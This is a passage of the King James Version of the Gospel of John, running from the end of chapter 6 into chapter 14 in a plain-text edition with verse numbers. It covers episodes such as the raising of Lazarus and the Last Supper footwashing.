did eat manna, and are dead: he that eateth of this bread +shall live for ever. + +6:59 These things said he in the synagogue, as he taught in Capernaum. + +6:60 Many therefore of his disciples, when they had heard this, said, +This is an hard saying; who can hear it? 6:61 When Jesus knew in +himself that his disciples murmured at it, he said unto them, Doth +this offend you? 6:62 What and if ye shall see the Son of man ascend +up where he was before? 6:63 It is the spirit that quickeneth; the +flesh profiteth nothing: the words that I speak unto you, they are +spirit, and they are life. + +6:64 But there are some of you that believe not. For Jesus knew from +the beginning who they were that believed not, and who should betray +him. + +6:65 And he said, Therefore said I unto you, that no man can come unto +me, except it were given unto him of my Father. + +6:66 From that time many of his disciples went back, and walked no +more with him. + +6:67 Then said Jesus unto the twelve, Will ye also go away? 6:68 Then +Simon Peter answered him, Lord, to whom shall we go? thou hast the +words of eternal life. + +6:69 And we believe and are sure that thou art that Christ, the Son of +the living God. + +6:70 Jesus answered them, Have not I chosen you twelve, and one of you +is a devil? 6:71 He spake of Judas Iscariot the son of Simon: for he +it was that should betray him, being one of the twelve. + +7:1 After these things Jesus walked in Galilee: for he would not walk +in Jewry, because the Jews sought to kill him. + +7:2 Now the Jew's feast of tabernacles was at hand. + +7:3 His brethren therefore said unto him, Depart hence, and go into +Judaea, that thy disciples also may see the works that thou doest. + +7:4 For there is no man that doeth any thing in secret, and he himself +seeketh to be known openly. If thou do these things, shew thyself to +the world. + +7:5 For neither did his brethren believe in him. + +7:6 Then Jesus said unto them, My time is not yet come: but your time +is alway ready. + +7:7 The world cannot hate you; but me it hateth, because I testify of +it, that the works thereof are evil. + +7:8 Go ye up unto this feast: I go not up yet unto this feast: for my +time is not yet full come. + +7:9 When he had said these words unto them, he abode still in Galilee. + +7:10 But when his brethren were gone up, then went he also up unto the +feast, not openly, but as it were in secret. + +7:11 Then the Jews sought him at the feast, and said, Where is he? +7:12 And there was much murmuring among the people concerning him: for +some said, He is a good man: others said, Nay; but he deceiveth the +people. + +7:13 Howbeit no man spake openly of him for fear of the Jews. + +7:14 Now about the midst of the feast Jesus went up into the temple, +and taught. + +7:15 And the Jews marvelled, saying, How knoweth this man letters, +having never learned? 7:16 Jesus answered them, and said, My doctrine +is not mine, but his that sent me. + +7:17 If any man will do his will, he shall know of the doctrine, +whether it be of God, or whether I speak of myself. + +7:18 He that speaketh of himself seeketh his own glory: but he that +seeketh his glory that sent him, the same is true, and no +unrighteousness is in him. + +7:19 Did not Moses give you the law, and yet none of you keepeth the +law? Why go ye about to kill me? 7:20 The people answered and said, +Thou hast a devil: who goeth about to kill thee? 7:21 Jesus answered +and said unto them, I have done one work, and ye all marvel. + +7:22 Moses therefore gave unto you circumcision; (not because it is of +Moses, but of the fathers;) and ye on the sabbath day circumcise a +man. + +7:23 If a man on the sabbath day receive circumcision, that the law of +Moses should not be broken; are ye angry at me, because I have made a +man every whit whole on the sabbath day? 7:24 Judge not according to +the appearance, but judge righteous judgment. + +7:25 Then said some of them of Jerusalem, Is not this he, whom they +seek to kill? 7:26 But, lo, he speaketh boldly, and they say nothing +unto him. Do the rulers know indeed that this is the very Christ? +7:27 Howbeit we know this man whence he is: but when Christ cometh, no +man knoweth whence he is. + +7:28 Then cried Jesus in the temple as he taught, saying, Ye both know +me, and ye know whence I am: and I am not come of myself, but he that +sent me is true, whom ye know not. + +7:29 But I know him: for I am from him, and he hath sent me. + +7:30 Then they sought to take him: but no man laid hands on him, +because his hour was not yet come. + +7:31 And many of the people believed on him, and said, When Christ +cometh, will he do more miracles than these which this man hath done? +7:32 The Pharisees heard that the people murmured such things +concerning him; and the Pharisees and the chief priests sent officers +to take him. + +7:33 Then said Jesus unto them, Yet a little while am I with you, and +then I go unto him that sent me. + +7:34 Ye shall seek me, and shall not find me: and where I am, thither +ye cannot come. + +7:35 Then said the Jews among themselves, Whither will he go, that we +shall not find him? will he go unto the dispersed among the Gentiles, +and teach the Gentiles? 7:36 What manner of saying is this that he +said, Ye shall seek me, and shall not find me: and where I am, thither +ye cannot come? 7:37 In the last day, that great day of the feast, +Jesus stood and cried, saying, If any man thirst, let him come unto +me, and drink. + +7:38 He that believeth on me, as the scripture hath said, out of his +belly shall flow rivers of living water. + +7:39 (But this spake he of the Spirit, which they that believe on him +should receive: for the Holy Ghost was not yet given; because that +Jesus was not yet glorified.) 7:40 Many of the people therefore, when +they heard this saying, said, Of a truth this is the Prophet. + +7:41 Others said, This is the Christ. But some said, Shall Christ come +out of Galilee? 7:42 Hath not the scripture said, That Christ cometh +of the seed of David, and out of the town of Bethlehem, where David +was? 7:43 So there was a division among the people because of him. + +7:44 And some of them would have taken him; but no man laid hands on +him. + +7:45 Then came the officers to the chief priests and Pharisees; and +they said unto them, Why have ye not brought him? 7:46 The officers +answered, Never man spake like this man. + +7:47 Then answered them the Pharisees, Are ye also deceived? 7:48 +Have any of the rulers or of the Pharisees believed on him? 7:49 But +this people who knoweth not the law are cursed. + +7:50 Nicodemus saith unto them, (he that came to Jesus by night, being +one of them,) 7:51 Doth our law judge any man, before it hear him, and +know what he doeth? 7:52 They answered and said unto him, Art thou +also of Galilee? Search, and look: for out of Galilee ariseth no +prophet. + +7:53 And every man went unto his own house. + +8:1 Jesus went unto the mount of Olives. + +8:2 And early in the morning he came again into the temple, and all +the people came unto him; and he sat down, and taught them. + +8:3 And the scribes and Pharisees brought unto him a woman taken in +adultery; and when they had set her in the midst, 8:4 They say unto +him, Master, this woman was taken in adultery, in the very act. + +8:5 Now Moses in the law commanded us, that such should be stoned: but +what sayest thou? 8:6 This they said, tempting him, that they might +have to accuse him. But Jesus stooped down, and with his finger wrote +on the ground, as though he heard them not. + +8:7 So when they continued asking him, he lifted up himself, and said +unto them, He that is without sin among you, let him first cast a +stone at her. + +8:8 And again he stooped down, and wrote on the ground. + +8:9 And they which heard it, being convicted by their own conscience, +went out one by one, beginning at the eldest, even unto the last: and +Jesus was left alone, and the woman standing in the midst. + +8:10 When Jesus had lifted up himself, and saw none but the woman, he +said unto her, Woman, where are those thine accusers? hath no man +condemned thee? 8:11 She said, No man, Lord. And Jesus said unto her, +Neither do I condemn thee: go, and sin no more. + +8:12 Then spake Jesus again unto them, saying, I am the light of the +world: he that followeth me shall not walk in darkness, but shall have +the light of life. + +8:13 The Pharisees therefore said unto him, Thou bearest record of +thyself; thy record is not true. + +8:14 Jesus answered and said unto them, Though I bear record of +myself, yet my record is true: for I know whence I came, and whither I +go; but ye cannot tell whence I come, and whither I go. + +8:15 Ye judge after the flesh; I judge no man. + +8:16 And yet if I judge, my judgment is true: for I am not alone, but +I and the Father that sent me. + +8:17 It is also written in your law, that the testimony of two men is +true. + +8:18 I am one that bear witness of myself, and the Father that sent me +beareth witness of me. + +8:19 Then said they unto him, Where is thy Father? Jesus answered, Ye +neither know me, nor my Father: if ye had known me, ye should have +known my Father also. + +8:20 These words spake Jesus in the treasury, as he taught in the +temple: and no man laid hands on him; for his hour was not yet come. + +8:21 Then said Jesus again unto them, I go my way, and ye shall seek +me, and shall die in your sins: whither I go, ye cannot come. + +8:22 Then said the Jews, Will he kill himself? because he saith, +Whither I go, ye cannot come. + +8:23 And he said unto them, Ye are from beneath; I am from above: ye +are of this world; I am not of this world. + +8:24 I said therefore unto you, that ye shall die in your sins: for if +ye believe not that I am he, ye shall die in your sins. + +8:25 Then said they unto him, Who art thou? And Jesus saith unto them, +Even the same that I said unto you from the beginning. + +8:26 I have many things to say and to judge of you: but he that sent +me is true; and I speak to the world those things which I have heard +of him. + +8:27 They understood not that he spake to them of the Father. + +8:28 Then said Jesus unto them, When ye have lifted up the Son of man, +then shall ye know that I am he, and that I do nothing of myself; but +as my Father hath taught me, I speak these things. + +8:29 And he that sent me is with me: the Father hath not left me +alone; for I do always those things that please him. + +8:30 As he spake these words, many believed on him. + +8:31 Then said Jesus to those Jews which believed on him, If ye +continue in my word, then are ye my disciples indeed; 8:32 And ye +shall know the truth, and the truth shall make you free. + +8:33 They answered him, We be Abraham's seed, and were never in +bondage to any man: how sayest thou, Ye shall be made free? 8:34 +Jesus answered them, Verily, verily, I say unto you, Whosoever +committeth sin is the servant of sin. + +8:35 And the servant abideth not in the house for ever: but the Son +abideth ever. + +8:36 If the Son therefore shall make you free, ye shall be free +indeed. + +8:37 I know that ye are Abraham's seed; but ye seek to kill me, +because my word hath no place in you. + +8:38 I speak that which I have seen with my Father: and ye do that +which ye have seen with your father. + +8:39 They answered and said unto him, Abraham is our father. Jesus +saith unto them, If ye were Abraham's children, ye would do the works +of Abraham. + +8:40 But now ye seek to kill me, a man that hath told you the truth, +which I have heard of God: this did not Abraham. + +8:41 Ye do the deeds of your father. Then said they to him, We be not +born of fornication; we have one Father, even God. + +8:42 Jesus said unto them, If God were your Father, ye would love me: +for I proceeded forth and came from God; neither came I of myself, but +he sent me. + +8:43 Why do ye not understand my speech? even because ye cannot hear +my word. + +8:44 Ye are of your father the devil, and the lusts of your father ye +will do. He was a murderer from the beginning, and abode not in the +truth, because there is no truth in him. When he speaketh a lie, he +speaketh of his own: for he is a liar, and the father of it. + +8:45 And because I tell you the truth, ye believe me not. + +8:46 Which of you convinceth me of sin? And if I say the truth, why do +ye not believe me? 8:47 He that is of God heareth God's words: ye +therefore hear them not, because ye are not of God. + +8:48 Then answered the Jews, and said unto him, Say we not well that +thou art a Samaritan, and hast a devil? 8:49 Jesus answered, I have +not a devil; but I honour my Father, and ye do dishonour me. + +8:50 And I seek not mine own glory: there is one that seeketh and +judgeth. + +8:51 Verily, verily, I say unto you, If a man keep my saying, he shall +never see death. + +8:52 Then said the Jews unto him, Now we know that thou hast a devil. + +Abraham is dead, and the prophets; and thou sayest, If a man keep my +saying, he shall never taste of death. + +8:53 Art thou greater than our father Abraham, which is dead? and the +prophets are dead: whom makest thou thyself? 8:54 Jesus answered, If +I honour myself, my honour is nothing: it is my Father that honoureth +me; of whom ye say, that he is your God: 8:55 Yet ye have not known +him; but I know him: and if I should say, I know him not, I shall be a +liar like unto you: but I know him, and keep his saying. + +8:56 Your father Abraham rejoiced to see my day: and he saw it, and +was glad. + +8:57 Then said the Jews unto him, Thou art not yet fifty years old, +and hast thou seen Abraham? 8:58 Jesus said unto them, Verily, +verily, I say unto you, Before Abraham was, I am. + +8:59 Then took they up stones to cast at him: but Jesus hid himself, +and went out of the temple, going through the midst of them, and so +passed by. + +9:1 And as Jesus passed by, he saw a man which was blind from his +birth. + +9:2 And his disciples asked him, saying, Master, who did sin, this +man, or his parents, that he was born blind? 9:3 Jesus answered, +Neither hath this man sinned, nor his parents: but that the works of +God should be made manifest in him. + +9:4 I must work the works of him that sent me, while it is day: the +night cometh, when no man can work. + +9:5 As long as I am in the world, I am the light of the world. + +9:6 When he had thus spoken, he spat on the ground, and made clay of +the spittle, and he anointed the eyes of the blind man with the clay, +9:7 And said unto him, Go, wash in the pool of Siloam, (which is by +interpretation, Sent.) He went his way therefore, and washed, and came +seeing. + +9:8 The neighbours therefore, and they which before had seen him that +he was blind, said, Is not this he that sat and begged? 9:9 Some +said, This is he: others said, He is like him: but he said, I am he. + +9:10 Therefore said they unto him, How were thine eyes opened? 9:11 +He answered and said, A man that is called Jesus made clay, and +anointed mine eyes, and said unto me, Go to the pool of Siloam, and +wash: and I went and washed, and I received sight. + +9:12 Then said they unto him, Where is he? He said, I know not. + +9:13 They brought to the Pharisees him that aforetime was blind. + +9:14 And it was the sabbath day when Jesus made the clay, and opened +his eyes. + +9:15 Then again the Pharisees also asked him how he had received his +sight. He said unto them, He put clay upon mine eyes, and I washed, +and do see. + +9:16 Therefore said some of the Pharisees, This man is not of God, +because he keepeth not the sabbath day. Others said, How can a man +that is a sinner do such miracles? And there was a division among +them. + +9:17 They say unto the blind man again, What sayest thou of him, that +he hath opened thine eyes? He said, He is a prophet. + +9:18 But the Jews did not believe concerning him, that he had been +blind, and received his sight, until they called the parents of him +that had received his sight. + +9:19 And they asked them, saying, Is this your son, who ye say was +born blind? how then doth he now see? 9:20 His parents answered them +and said, We know that this is our son, and that he was born blind: +9:21 But by what means he now seeth, we know not; or who hath opened +his eyes, we know not: he is of age; ask him: he shall speak for +himself. + +9:22 These words spake his parents, because they feared the Jews: for +the Jews had agreed already, that if any man did confess that he was +Christ, he should be put out of the synagogue. + +9:23 Therefore said his parents, He is of age; ask him. + +9:24 Then again called they the man that was blind, and said unto him, +Give God the praise: we know that this man is a sinner. + +9:25 He answered and said, Whether he be a sinner or no, I know not: +one thing I know, that, whereas I was blind, now I see. + +9:26 Then said they to him again, What did he to thee? how opened he +thine eyes? 9:27 He answered them, I have told you already, and ye +did not hear: wherefore would ye hear it again? will ye also be his +disciples? 9:28 Then they reviled him, and said, Thou art his +disciple; but we are Moses' disciples. + +9:29 We know that God spake unto Moses: as for this fellow, we know +not from whence he is. + +9:30 The man answered and said unto them, Why herein is a marvellous +thing, that ye know not from whence he is, and yet he hath opened mine +eyes. + +9:31 Now we know that God heareth not sinners: but if any man be a +worshipper of God, and doeth his will, him he heareth. + +9:32 Since the world began was it not heard that any man opened the +eyes of one that was born blind. + +9:33 If this man were not of God, he could do nothing. + +9:34 They answered and said unto him, Thou wast altogether born in +sins, and dost thou teach us? And they cast him out. + +9:35 Jesus heard that they had cast him out; and when he had found +him, he said unto him, Dost thou believe on the Son of God? 9:36 He +answered and said, Who is he, Lord, that I might believe on him? 9:37 +And Jesus said unto him, Thou hast both seen him, and it is he that +talketh with thee. + +9:38 And he said, Lord, I believe. And he worshipped him. + +9:39 And Jesus said, For judgment I am come into this world, that they +which see not might see; and that they which see might be made blind. + +9:40 And some of the Pharisees which were with him heard these words, +and said unto him, Are we blind also? 9:41 Jesus said unto them, If +ye were blind, ye should have no sin: but now ye say, We see; +therefore your sin remaineth. + +10:1 Verily, verily, I say unto you, He that entereth not by the door +into the sheepfold, but climbeth up some other way, the same is a +thief and a robber. + +10:2 But he that entereth in by the door is the shepherd of the sheep. + +10:3 To him the porter openeth; and the sheep hear his voice: and he +calleth his own sheep by name, and leadeth them out. + +10:4 And when he putteth forth his own sheep, he goeth before them, +and the sheep follow him: for they know his voice. + +10:5 And a stranger will they not follow, but will flee from him: for +they know not the voice of strangers. + +10:6 This parable spake Jesus unto them: but they understood not what +things they were which he spake unto them. + +10:7 Then said Jesus unto them again, Verily, verily, I say unto you, +I am the door of the sheep. + +10:8 All that ever came before me are thieves and robbers: but the +sheep did not hear them. + +10:9 I am the door: by me if any man enter in, he shall be saved, and +shall go in and out, and find pasture. + +10:10 The thief cometh not, but for to steal, and to kill, and to +destroy: I am come that they might have life, and that they might have +it more abundantly. + +10:11 I am the good shepherd: the good shepherd giveth his life for +the sheep. + +10:12 But he that is an hireling, and not the shepherd, whose own the +sheep are not, seeth the wolf coming, and leaveth the sheep, and +fleeth: and the wolf catcheth them, and scattereth the sheep. + +10:13 The hireling fleeth, because he is an hireling, and careth not +for the sheep. + +10:14 I am the good shepherd, and know my sheep, and am known of mine. + +10:15 As the Father knoweth me, even so know I the Father: and I lay +down my life for the sheep. + +10:16 And other sheep I have, which are not of this fold: them also I +must bring, and they shall hear my voice; and there shall be one fold, +and one shepherd. + +10:17 Therefore doth my Father love me, because I lay down my life, +that I might take it again. + +10:18 No man taketh it from me, but I lay it down of myself. I have +power to lay it down, and I have power to take it again. This +commandment have I received of my Father. + +10:19 There was a division therefore again among the Jews for these +sayings. + +10:20 And many of them said, He hath a devil, and is mad; why hear ye +him? 10:21 Others said, These are not the words of him that hath a +devil. Can a devil open the eyes of the blind? 10:22 And it was at +Jerusalem the feast of the dedication, and it was winter. + +10:23 And Jesus walked in the temple in Solomon's porch. + +10:24 Then came the Jews round about him, and said unto him, How long +dost thou make us to doubt? If thou be the Christ, tell us plainly. + +10:25 Jesus answered them, I told you, and ye believed not: the works +that I do in my Father's name, they bear witness of me. + +10:26 But ye believe not, because ye are not of my sheep, as I said +unto you. + +10:27 My sheep hear my voice, and I know them, and they follow me: +10:28 And I give unto them eternal life; and they shall never perish, +neither shall any man pluck them out of my hand. + +10:29 My Father, which gave them me, is greater than all; and no man +is able to pluck them out of my Father's hand. + +10:30 I and my Father are one. + +10:31 Then the Jews took up stones again to stone him. + +10:32 Jesus answered them, Many good works have I shewed you from my +Father; for which of those works do ye stone me? 10:33 The Jews +answered him, saying, For a good work we stone thee not; but for +blasphemy; and because that thou, being a man, makest thyself God. + +10:34 Jesus answered them, Is it not written in your law, I said, Ye +are gods? 10:35 If he called them gods, unto whom the word of God +came, and the scripture cannot be broken; 10:36 Say ye of him, whom +the Father hath sanctified, and sent into the world, Thou blasphemest; +because I said, I am the Son of God? 10:37 If I do not the works of +my Father, believe me not. + +10:38 But if I do, though ye believe not me, believe the works: that +ye may know, and believe, that the Father is in me, and I in him. + +10:39 Therefore they sought again to take him: but he escaped out of +their hand, 10:40 And went away again beyond Jordan into the place +where John at first baptized; and there he abode. + +10:41 And many resorted unto him, and said, John did no miracle: but +all things that John spake of this man were true. + +10:42 And many believed on him there. + +11:1 Now a certain man was sick, named Lazarus, of Bethany, the town +of Mary and her sister Martha. + +11:2 (It was that Mary which anointed the Lord with ointment, and +wiped his feet with her hair, whose brother Lazarus was sick.) 11:3 +Therefore his sisters sent unto him, saying, Lord, behold, he whom +thou lovest is sick. + +11:4 When Jesus heard that, he said, This sickness is not unto death, +but for the glory of God, that the Son of God might be glorified +thereby. + +11:5 Now Jesus loved Martha, and her sister, and Lazarus. + +11:6 When he had heard therefore that he was sick, he abode two days +still in the same place where he was. + +11:7 Then after that saith he to his disciples, Let us go into Judaea +again. + +11:8 His disciples say unto him, Master, the Jews of late sought to +stone thee; and goest thou thither again? 11:9 Jesus answered, Are +there not twelve hours in the day? If any man walk in the day, he +stumbleth not, because he seeth the light of this world. + +11:10 But if a man walk in the night, he stumbleth, because there is +no light in him. + +11:11 These things said he: and after that he saith unto them, Our +friend Lazarus sleepeth; but I go, that I may awake him out of sleep. + +11:12 Then said his disciples, Lord, if he sleep, he shall do well. + +11:13 Howbeit Jesus spake of his death: but they thought that he had +spoken of taking of rest in sleep. + +11:14 Then said Jesus unto them plainly, Lazarus is dead. + +11:15 And I am glad for your sakes that I was not there, to the intent +ye may believe; nevertheless let us go unto him. + +11:16 Then said Thomas, which is called Didymus, unto his +fellowdisciples, Let us also go, that we may die with him. + +11:17 Then when Jesus came, he found that he had lain in the grave +four days already. + +11:18 Now Bethany was nigh unto Jerusalem, about fifteen furlongs off: +11:19 And many of the Jews came to Martha and Mary, to comfort them +concerning their brother. + +11:20 Then Martha, as soon as she heard that Jesus was coming, went +and met him: but Mary sat still in the house. + +11:21 Then said Martha unto Jesus, Lord, if thou hadst been here, my +brother had not died. + +11:22 But I know, that even now, whatsoever thou wilt ask of God, God +will give it thee. + +11:23 Jesus saith unto her, Thy brother shall rise again. + +11:24 Martha saith unto him, I know that he shall rise again in the +resurrection at the last day. + +11:25 Jesus said unto her, I am the resurrection, and the life: he +that believeth in me, though he were dead, yet shall he live: 11:26 +And whosoever liveth and believeth in me shall never die. Believest +thou this? 11:27 She saith unto him, Yea, Lord: I believe that thou +art the Christ, the Son of God, which should come into the world. + +11:28 And when she had so said, she went her way, and called Mary her +sister secretly, saying, The Master is come, and calleth for thee. + +11:29 As soon as she heard that, she arose quickly, and came unto him. + +11:30 Now Jesus was not yet come into the town, but was in that place +where Martha met him. + +11:31 The Jews then which were with her in the house, and comforted +her, when they saw Mary, that she rose up hastily and went out, +followed her, saying, She goeth unto the grave to weep there. + +11:32 Then when Mary was come where Jesus was, and saw him, she fell +down at his feet, saying unto him, Lord, if thou hadst been here, my +brother had not died. + +11:33 When Jesus therefore saw her weeping, and the Jews also weeping +which came with her, he groaned in the spirit, and was troubled. + +11:34 And said, Where have ye laid him? They said unto him, Lord, come +and see. + +11:35 Jesus wept. + +11:36 Then said the Jews, Behold how he loved him! 11:37 And some of +them said, Could not this man, which opened the eyes of the blind, +have caused that even this man should not have died? 11:38 Jesus +therefore again groaning in himself cometh to the grave. It was a +cave, and a stone lay upon it. + +11:39 Jesus said, Take ye away the stone. Martha, the sister of him +that was dead, saith unto him, Lord, by this time he stinketh: for he +hath been dead four days. + +11:40 Jesus saith unto her, Said I not unto thee, that, if thou +wouldest believe, thou shouldest see the glory of God? 11:41 Then +they took away the stone from the place where the dead was laid. And +Jesus lifted up his eyes, and said, Father, I thank thee that thou +hast heard me. + +11:42 And I knew that thou hearest me always: but because of the +people which stand by I said it, that they may believe that thou hast +sent me. + +11:43 And when he thus had spoken, he cried with a loud voice, +Lazarus, come forth. + +11:44 And he that was dead came forth, bound hand and foot with +graveclothes: and his face was bound about with a napkin. Jesus saith +unto them, Loose him, and let him go. + +11:45 Then many of the Jews which came to Mary, and had seen the +things which Jesus did, believed on him. + +11:46 But some of them went their ways to the Pharisees, and told them +what things Jesus had done. + +11:47 Then gathered the chief priests and the Pharisees a council, and +said, What do we? for this man doeth many miracles. + +11:48 If we let him thus alone, all men will believe on him: and the +Romans shall come and take away both our place and nation. + +11:49 And one of them, named Caiaphas, being the high priest that same +year, said unto them, Ye know nothing at all, 11:50 Nor consider that +it is expedient for us, that one man should die for the people, and +that the whole nation perish not. + +11:51 And this spake he not of himself: but being high priest that +year, he prophesied that Jesus should die for that nation; 11:52 And +not for that nation only, but that also he should gather together in +one the children of God that were scattered abroad. + +11:53 Then from that day forth they took counsel together for to put +him to death. + +11:54 Jesus therefore walked no more openly among the Jews; but went +thence unto a country near to the wilderness, into a city called +Ephraim, and there continued with his disciples. + +11:55 And the Jews' passover was nigh at hand: and many went out of +the country up to Jerusalem before the passover, to purify themselves. + +11:56 Then sought they for Jesus, and spake among themselves, as they +stood in the temple, What think ye, that he will not come to the +feast? 11:57 Now both the chief priests and the Pharisees had given a +commandment, that, if any man knew where he were, he should shew it, +that they might take him. + +12:1 Then Jesus six days before the passover came to Bethany, where +Lazarus was, which had been dead, whom he raised from the dead. + +12:2 There they made him a supper; and Martha served: but Lazarus was +one of them that sat at the table with him. + +12:3 Then took Mary a pound of ointment of spikenard, very costly, and +anointed the feet of Jesus, and wiped his feet with her hair: and the +house was filled with the odour of the ointment. + +12:4 Then saith one of his disciples, Judas Iscariot, Simon's son, +which should betray him, 12:5 Why was not this ointment sold for three +hundred pence, and given to the poor? 12:6 This he said, not that he +cared for the poor; but because he was a thief, and had the bag, and +bare what was put therein. + +12:7 Then said Jesus, Let her alone: against the day of my burying +hath she kept this. + +12:8 For the poor always ye have with you; but me ye have not always. + +12:9 Much people of the Jews therefore knew that he was there: and +they came not for Jesus' sake only, but that they might see Lazarus +also, whom he had raised from the dead. + +12:10 But the chief priests consulted that they might put Lazarus also +to death; 12:11 Because that by reason of him many of the Jews went +away, and believed on Jesus. + +12:12 On the next day much people that were come to the feast, when +they heard that Jesus was coming to Jerusalem, 12:13 Took branches of +palm trees, and went forth to meet him, and cried, Hosanna: Blessed is +the King of Israel that cometh in the name of the Lord. + +12:14 And Jesus, when he had found a young ass, sat thereon; as it is +written, 12:15 Fear not, daughter of Sion: behold, thy King cometh, +sitting on an ass's colt. + +12:16 These things understood not his disciples at the first: but when +Jesus was glorified, then remembered they that these things were +written of him, and that they had done these things unto him. + +12:17 The people therefore that was with him when he called Lazarus +out of his grave, and raised him from the dead, bare record. + +12:18 For this cause the people also met him, for that they heard that +he had done this miracle. + +12:19 The Pharisees therefore said among themselves, Perceive ye how +ye prevail nothing? behold, the world is gone after him. + +12:20 And there were certain Greeks among them that came up to worship +at the feast: 12:21 The same came therefore to Philip, which was of +Bethsaida of Galilee, and desired him, saying, Sir, we would see +Jesus. + +12:22 Philip cometh and telleth Andrew: and again Andrew and Philip +tell Jesus. + +12:23 And Jesus answered them, saying, The hour is come, that the Son +of man should be glorified. + +12:24 Verily, verily, I say unto you, Except a corn of wheat fall into +the ground and die, it abideth alone: but if it die, it bringeth forth +much fruit. + +12:25 He that loveth his life shall lose it; and he that hateth his +life in this world shall keep it unto life eternal. + +12:26 If any man serve me, let him follow me; and where I am, there +shall also my servant be: if any man serve me, him will my Father +honour. + +12:27 Now is my soul troubled; and what shall I say? Father, save me +from this hour: but for this cause came I unto this hour. + +12:28 Father, glorify thy name. Then came there a voice from heaven, +saying, I have both glorified it, and will glorify it again. + +12:29 The people therefore, that stood by, and heard it, said that it +thundered: others said, An angel spake to him. + +12:30 Jesus answered and said, This voice came not because of me, but +for your sakes. + +12:31 Now is the judgment of this world: now shall the prince of this +world be cast out. + +12:32 And I, if I be lifted up from the earth, will draw all men unto +me. + +12:33 This he said, signifying what death he should die. + +12:34 The people answered him, We have heard out of the law that +Christ abideth for ever: and how sayest thou, The Son of man must be +lifted up? who is this Son of man? 12:35 Then Jesus said unto them, +Yet a little while is the light with you. + +Walk while ye have the light, lest darkness come upon you: for he that +walketh in darkness knoweth not whither he goeth. + +12:36 While ye have light, believe in the light, that ye may be the +children of light. These things spake Jesus, and departed, and did +hide himself from them. + +12:37 But though he had done so many miracles before them, yet they +believed not on him: 12:38 That the saying of Esaias the prophet might +be fulfilled, which he spake, Lord, who hath believed our report? and +to whom hath the arm of the Lord been revealed? 12:39 Therefore they +could not believe, because that Esaias said again, 12:40 He hath +blinded their eyes, and hardened their heart; that they should not see +with their eyes, nor understand with their heart, and be converted, +and I should heal them. + +12:41 These things said Esaias, when he saw his glory, and spake of +him. + +12:42 Nevertheless among the chief rulers also many believed on him; +but because of the Pharisees they did not confess him, lest they +should be put out of the synagogue: 12:43 For they loved the praise of +men more than the praise of God. + +12:44 Jesus cried and said, He that believeth on me, believeth not on +me, but on him that sent me. + +12:45 And he that seeth me seeth him that sent me. + +12:46 I am come a light into the world, that whosoever believeth on me +should not abide in darkness. + +12:47 And if any man hear my words, and believe not, I judge him not: +for I came not to judge the world, but to save the world. + +12:48 He that rejecteth me, and receiveth not my words, hath one that +judgeth him: the word that I have spoken, the same shall judge him in +the last day. + +12:49 For I have not spoken of myself; but the Father which sent me, +he gave me a commandment, what I should say, and what I should speak. + +12:50 And I know that his commandment is life everlasting: whatsoever +I speak therefore, even as the Father said unto me, so I speak. + +13:1 Now before the feast of the passover, when Jesus knew that his +hour was come that he should depart out of this world unto the Father, +having loved his own which were in the world, he loved them unto the +end. + +13:2 And supper being ended, the devil having now put into the heart +of Judas Iscariot, Simon's son, to betray him; 13:3 Jesus knowing that +the Father had given all things into his hands, and that he was come +from God, and went to God; 13:4 He riseth from supper, and laid aside +his garments; and took a towel, and girded himself. + +13:5 After that he poureth water into a bason, and began to wash the +disciples' feet, and to wipe them with the towel wherewith he was +girded. + +13:6 Then cometh he to Simon Peter: and Peter saith unto him, Lord, +dost thou wash my feet? 13:7 Jesus answered and said unto him, What I +do thou knowest not now; but thou shalt know hereafter. + +13:8 Peter saith unto him, Thou shalt never wash my feet. Jesus +answered him, If I wash thee not, thou hast no part with me. + +13:9 Simon Peter saith unto him, Lord, not my feet only, but also my +hands and my head. + +13:10 Jesus saith to him, He that is washed needeth not save to wash +his feet, but is clean every whit: and ye are clean, but not all. + +13:11 For he knew who should betray him; therefore said he, Ye are not +all clean. + +13:12 So after he had washed their feet, and had taken his garments, +and was set down again, he said unto them, Know ye what I have done to +you? 13:13 Ye call me Master and Lord: and ye say well; for so I am. + +13:14 If I then, your Lord and Master, have washed your feet; ye also +ought to wash one another's feet. + +13:15 For I have given you an example, that ye should do as I have +done to you. + +13:16 Verily, verily, I say unto you, The servant is not greater than +his lord; neither he that is sent greater than he that sent him. + +13:17 If ye know these things, happy are ye if ye do them. + +13:18 I speak not of you all: I know whom I have chosen: but that the +scripture may be fulfilled, He that eateth bread with me hath lifted +up his heel against me. + +13:19 Now I tell you before it come, that, when it is come to pass, ye +may believe that I am he. + +13:20 Verily, verily, I say unto you, He that receiveth whomsoever I +send receiveth me; and he that receiveth me receiveth him that sent +me. + +13:21 When Jesus had thus said, he was troubled in spirit, and +testified, and said, Verily, verily, I say unto you, that one of you +shall betray me. + +13:22 Then the disciples looked one on another, doubting of whom he +spake. + +13:23 Now there was leaning on Jesus' bosom one of his disciples, whom +Jesus loved. + +13:24 Simon Peter therefore beckoned to him, that he should ask who it +should be of whom he spake. + +13:25 He then lying on Jesus' breast saith unto him, Lord, who is it? +13:26 Jesus answered, He it is, to whom I shall give a sop, when I +have dipped it. And when he had dipped the sop, he gave it to Judas +Iscariot, the son of Simon. + +13:27 And after the sop Satan entered into him. Then said Jesus unto +him, That thou doest, do quickly. + +13:28 Now no man at the table knew for what intent he spake this unto +him. + +13:29 For some of them thought, because Judas had the bag, that Jesus +had said unto him, Buy those things that we have need of against the +feast; or, that he should give something to the poor. + +13:30 He then having received the sop went immediately out: and it was +night. + +13:31 Therefore, when he was gone out, Jesus said, Now is the Son of +man glorified, and God is glorified in him. + +13:32 If God be glorified in him, God shall also glorify him in +himself, and shall straightway glorify him. + +13:33 Little children, yet a little while I am with you. Ye shall seek +me: and as I said unto the Jews, Whither I go, ye cannot come; so now +I say to you. + +13:34 A new commandment I give unto you, That ye love one another; as +I have loved you, that ye also love one another. + +13:35 By this shall all men know that ye are my disciples, if ye have +love one to another. + +13:36 Simon Peter said unto him, Lord, whither goest thou? Jesus +answered him, Whither I go, thou canst not follow me now; but thou +shalt follow me afterwards. + +13:37 Peter said unto him, Lord, why cannot I follow thee now? I will +lay down my life for thy sake. + +13:38 Jesus answered him, Wilt thou lay down thy life for my sake? +Verily, verily, I say unto thee, The cock shall not crow, till thou +hast denied me thrice. + +14:1 Let not your heart be troubled: ye believe in God, believe also +in me. + +14:2 In my Father's house are many mansions: if it were not so, I +would have told you. I go to prepare a place for you. + +14:3 And if I go and prepare a place for you, I will come again, and +receive you unto myself; that where I am, there ye may be also. + +14:4 And whither I go ye know, and the way ye know. + +14:5 Thomas saith unto him, Lord, we know not whither thou goest; and +how can we know the way? 14:6 Jesus saith unto him, I am the way, the +truth, and the life: no man cometh unto the 